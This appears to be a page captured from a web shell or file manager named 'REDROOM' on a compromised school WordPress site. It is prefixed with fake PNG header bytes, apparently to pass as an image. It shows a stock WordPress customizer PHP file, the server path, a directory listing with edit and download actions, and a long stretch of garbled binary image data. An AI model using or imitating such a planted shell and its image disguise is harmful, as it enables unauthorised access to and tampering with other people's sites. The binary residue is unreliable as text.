PNG  IHDR  8] PLTE S =tRNS   PNG  IHDR  8] PLTE S =tRNS   REDROOM
PHP 7.4.33
Preview: class-wp-customize-site-icon-control.php Size: 4.27 KB
/home/u451082377/domains/smpspembda2gusit.sch.id/public_html/wp-includes/customize/class-wp-customize-site-icon-control.php

<?php
/**
 * Customize API: WP_Customize_Site_Icon_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Site Icon control class.
 *
 * Used only for custom functionality in JavaScript.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Cropped_Image_Control
 */
class WP_Customize_Site_Icon_Control extends WP_Customize_Cropped_Image_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'site_icon';

	/**
	 * Constructor.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Control::__construct()
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      Control ID.
	 * @param array                $args    Optional. Arguments to override class property defaults.
	 *                                      See WP_Customize_Control::__construct() for information
	 *                                      on accepted arguments. Default empty array.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		parent::__construct( $manager, $id, $args );
		add_action( 'customize_controls_print_styles', 'wp_site_icon', 99 );
	}

	/**
	 * Renders a JS template for the content of the site icon control.
	 *
	 * @since 4.5.0
	 */
	public function content_template() {
		?>
		<# if ( data.label ) { #>
			<span class="customize-control-title">{{ data.label }}</span>
		<# } #>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>

		<# if ( data.attachment && data.attachment.id ) { #>
			<div class="attachment-media-view">
				<# if ( data.attachment.sizes ) { #>
					<div class="site-icon-preview wp-clearfix">
						<div class="favicon-preview">
							<img src="<?php echo esc_url( admin_url( 'images/' . ( is_rtl() ? 'browser-rtl.png' : 'browser.png' ) ) ); ?>" class="browser-preview" width="182" alt="" />

							<div class="favicon">
								<img src="{{ data.attachment.sizes.full ? data.attachment.sizes.full.url : data.attachment.url }}" alt="{{
									data.attachment.alt ?
										wp.i18n.sprintf(
											<?php
											/* translators: %s: The selected image alt text. */
											echo wp_json_encode( __( 'Browser icon preview: Current image: %s' ) );
											?>
											,
											data.attachment.alt
										) :
										wp.i18n.sprintf(
											<?php
											/* translators: %s: The selected image filename. */
											echo wp_json_encode( __( 'Browser icon preview: The current image has no alternative text. The file name is: %s' ) );
											?>
											,
											data.attachment.filename
										)
								}}" />
							</div>
							<span class="browser-title" aria-hidden="true"><# print( '<?php echo esc_js( get_bloginfo( 'name' ) ); ?>' ) #></span>
						</div>
						<img class="app-icon-preview" src="{{ data.attachment.sizes.full ? data.attachment.sizes.full.url : data.attachment.url }}" alt="{{
							data.attachment.alt ?
								wp.i18n.sprintf(
									<?php
									/* translators: %s: The selected image alt text. */
									echo wp_json_encode( __( 'App icon preview: Current image: %s' ) )
									?>
									,
									data.attachment.alt
								) :
								wp.i18n.sprintf(
									<?php
									/* translators: %s: The selected image filename. */
									echo wp_json_encode( __( 'App icon preview: The current image has no alternative text. The file name is: %s' ) );
									?>
									,
									data.attachment.filename
								)
						}}"/>
					</div>
				<# } #>
				<div class="actions">
					<# if ( data.canUpload ) { #>
						<button type="button" class="button remove-button"><?php echo $this->button_labels['remove']; ?></button>
						<button type="button" class="button upload-button"><?php echo $this->button_labels['change']; ?></button>
					<# } #>
				</div>
			</div>
		<# } else { #>
			<div class="attachment-media-view">
				<# if ( data.canUpload ) { #>
					<button type="button" class="upload-button button-add-media"><?php echo $this->button_labels['site_icon']; ?></button>
				<# } #>
				<div class="actions">
					<# if ( data.defaultAttachment ) { #>
						<button type="button" class="button default-button"><?php echo $this->button_labels['default']; ?></button>
					<# } #>
				</div>
			</div>
		<# } #>
		<?php
	}
}

Directory Contents

Dirs: 0 × Files: 36

Name Size Perms Modified Actions
1.25 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
639 B lrw-r--r-- 2024-11-05 10:20:09
Edit Download
2.96 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
2.26 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
2.99 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
1.42 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
5.16 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
9.19 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
588 B lrw-r--r-- 2024-11-05 10:20:09
Edit Download
7.87 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
1.74 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
1.18 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
9.19 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
1.10 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
2.08 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
7.97 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
26.92 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
2.25 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
2.75 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
1.10 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
716 B lrw-r--r-- 2024-11-05 10:20:09
Edit Download
18.49 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
3.23 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
1.67 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
1.65 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
10.32 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
13.43 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
1.03 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
4.27 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
11.61 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
3.31 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
6.78 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
1.17 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
686 B lrw-r--r-- 2024-11-05 10:20:09
Edit Download
1.68 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download
2.58 KB lrw-r--r-- 2024-11-05 10:20:09
Edit Download

If ZipArchive is unavailable, a .tar will be created (no compression).
 !"#$%&'(()*+,-./00123456789 t\ wIDATx ]ys  47Y ƒ -  "  Rv  < f{Ɛ $k l L > L  ~h^ 1  [  r G t& h  l F z3O Y ! p A(_g̷ E8 )S 8 c  Kb"z ~ 5 J xAL WU <  *  5 m;W a pB h ~P J 2 3 6 ҙ .Ƹ P i  4g F R L P ΪK/D  M v (a3 k J Œ4N5* SH ` SdJ z  O J Xՠ V>u ߱ BE&L b2 ?2` tX+  c CB A$ i b C ĀMB E : /  # Dx &l =q Ty  0 \p I ( L Ǎ { e 4k ;`u^ヲ eP!( d {  )T A 8 O;Ě n >;s6 !  :Nx `[S D HU ~ q›J F} a g*D 49 / pn k h (t 8NxƐF _!r չ7 ZR R׷ q/5") Ӎ NY 0 x sZ!   o  fu  ,  K"$ ? pg  㕣=  1» {h " fh7    y  } € +7  $ y " X —ą - G P u 4 m >J 5 L =V ' ^@I p ?MS xЌ XV P ! h "C NS9B8̢ ]!K  e   zA , ӏkbY  !< XQ ٿyS| *" f { w  4@[S <  # 0 ! js [m  =,~ o "ݎ DHf Wo $ g ! Vԅ t mB /y Wf V4񺍸 c+@x?  B ~u " xUN e 0 BĂ) ~J pz! 7y6]l Ԥ@ P a< O /DHC `≻  N m"$  0ObB }{ x AO FCG D R ^ "B  { WDH  UR l@ T #  +"d T ; 0 i  D}. 7 ` ' ] w rE &S i ƕiTD EL P _ u h $ Ա FG wVD G L R Zf ' .!] J /ZR oGЍs Mr Ĥ ʬ 3 Q [3 cL ` ^ p + ( F;# B 5 '  2Y f [  ϶R0e }  E 7 6M aۮ H <& n % L] E}Up x紉, Uw' Q  Ǯշo k ވۙ 0N94 VX5 xEDE l D #֤ } C o )W :  ^ s 9  bRf iX5u ཱི 4 :[  T 1. | [E 2ؽ Iy\ : o x K G 5 ylP ' uK E ftb/i[3 .g _  [3M n G, #NwQ5~  ؚ) | n =Ц"x qg gB ` 듘 ~ x w ? ? R~  _ u. &VQ K˻   H C ( TN˄+ `C dA nB׭ D 3"Z G ê ^k H_ /- ~ " R_  .8 Z_ 6@ o  xg  uP ? 3լ @7AM!  E7^ - =V L  x  g-D0  CtmW 7  O  G _ WD0 g C  w1 r d w : a | \  *" f nֳ ^ H# f L ` Z ۽hV  }S F r0Ù Bć5r] @! NL iQ]{s^=4 d  WD  "  "   M; t" 8 5 e dL| "-*st" ) SWD ?R[S e ooF  20.D ? bo =) A i o d ģ ZҰaO @E =) i D a &ܟa CϞ y6 ,<%{^x%{f8? `iw^ ?/ M * IEND B`